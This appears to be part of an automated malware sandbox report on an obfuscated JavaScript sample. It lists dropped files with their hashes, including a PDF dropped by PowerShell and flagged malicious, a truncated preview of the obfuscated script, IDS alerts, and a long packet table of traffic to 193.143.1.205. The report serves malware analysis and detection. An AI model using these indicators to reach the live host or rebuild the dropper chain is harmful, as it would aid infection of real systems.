Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16046), with CRLF line terminators
Entropy (8bit):	4.909370432551923
TrID:
File name:	13924233483066821789.js
File size:	19'369 bytes
MD5:	7a7b7df54d173bbbe0fc22731f8db51f
SHA1:	4b239c604777dfe8bee0c32402ab2dd2f57996e3
SHA256:	51136e39277d72631f93e0748c351c7dce584481fe5445509d1fb3f665516f9d
SHA512:	bb372c2be1d2989a6751908c5142799da29b5c66b3b8a4244304f28b3057ed03db1adfb1825df73762da22f098eb297ce8ade9e4c1a2449e063315aabf188780
SSDEEP:	384:d3C4pNxeUscxgB/bkXfKx96q96w/CmYXhGK68pSA/s37+azIalHywJfKS+52MXQO:lycxgB/bkXfKx96q96w/CmYXhGK68sAZ
TLSH:	CB921EC92471CA8B86F752F6F1FE06AF82E451DD914820E75A0350681B0D4F99AEB1FF
File Content Preview:	function fiqgcwiq(){zgozk=[1031,3079,5127,4103,2055,3072];var oxhin=this[xxnputj+divdwb+jrpfoqvgs+yeseqh+zwfkw+trnionbiq+pzprstmq+auzea](this[jkuwy+gczxhk+jlxuxg+jrpfoqvgs+drybrfm+xxnputj+auzea][kdrfv+jrpfoqvgs+zwfkw+divdwb+auzea+zwfkw+apsaxs+bplnshcv+uzt

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:46:36.838319+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T18:46:39.406541+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:46:36.040509939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.045505047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.045578957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.048295975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.053085089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838046074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838073969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838088036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838105917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838116884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838126898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838140011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838227034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838238955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838248968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.838319063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.838320017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.838320017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.838320017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.844281912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.844316959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.844379902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.892808914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.892941952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.892975092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.893004894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.937212944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.959038973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959084034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959136009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.959146976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959189892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959227085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959233046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.959261894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959302902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.959691048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959721088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959758997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.959821939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959876060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959909916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.959920883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.959991932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960026979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960036993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.960685015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960728884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.960738897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960774899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960819960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.960860014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960895061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.960935116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.961638927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.961673975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.961709023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.961731911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.979633093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.979656935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.979675055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.979686975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:36.979695082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:36.979717016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.030956984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.061851025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.061901093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.061939001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.061959028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080106974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080174923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080182076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080212116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080246925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080262899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080282927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080322027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080328941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080357075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080404043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080404997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080439091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080472946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080488920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080854893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080907106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.080908060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080943108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.080996037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.081027031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081067085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081109047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.081490040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081520081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081571102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.081619024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081671000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081703901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081718922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.081898928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081933975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.081948996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.081969023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082005024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082015991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.082645893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082690001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082693100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.082741022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082772970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082783937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.082808971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082840919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082856894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.082875013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.082920074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.083580017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083612919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083647013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083661079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.083698034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083730936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083758116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.083765030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083798885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.083817005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.084425926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.084479094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.084480047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.084517002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.084568977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.084583998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.084618092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.084711075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.084722996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.140330076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.148437023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183660984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183737040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183773994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183800936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.183808088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183842897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183871031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.183880091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.183893919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.201206923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201248884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201272011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201283932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201402903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201412916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.201414108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.201447010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.201452971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201467037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201504946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.201626062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201638937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201648951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201667070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.201745033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.201792955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.202347040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202398062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202411890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202430964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.202743053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202755928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202773094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202811956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202837944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.202884912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202897072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202914000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.202920914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.202965975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.203636885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203674078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203685999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203712940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.203738928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203778028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.203895092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203907967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203918934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.203947067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.204547882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204600096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204601049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.204612970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204652071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.204781055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204793930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204804897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204816103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.204830885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.204858065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.205485106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205513000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205528975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205553055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.205676079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205688000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205698967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205710888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.205723047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.205749989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.206386089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206408024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206439018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.206546068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206557989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206568003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206588984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.206613064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.206619978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206645012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.206692934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.207374096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207386971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207397938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207427979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.207492113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207504034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207515001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207525969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.207545996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.207577944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.208271027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208295107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208307028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208326101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.208349943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.208391905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208405018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208448887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.208931923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208980083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.208992004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209012985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.209382057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209393978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209407091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209431887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.209455013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.209554911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209567070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209577084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209589005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.209594965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.209645987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.210232973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.221923113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.270245075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270293951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270354033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270404100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270420074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.270440102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:46:37.270467043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:46:37.270476103 CET	80	49704	193.143.1.205	192.168.2.5
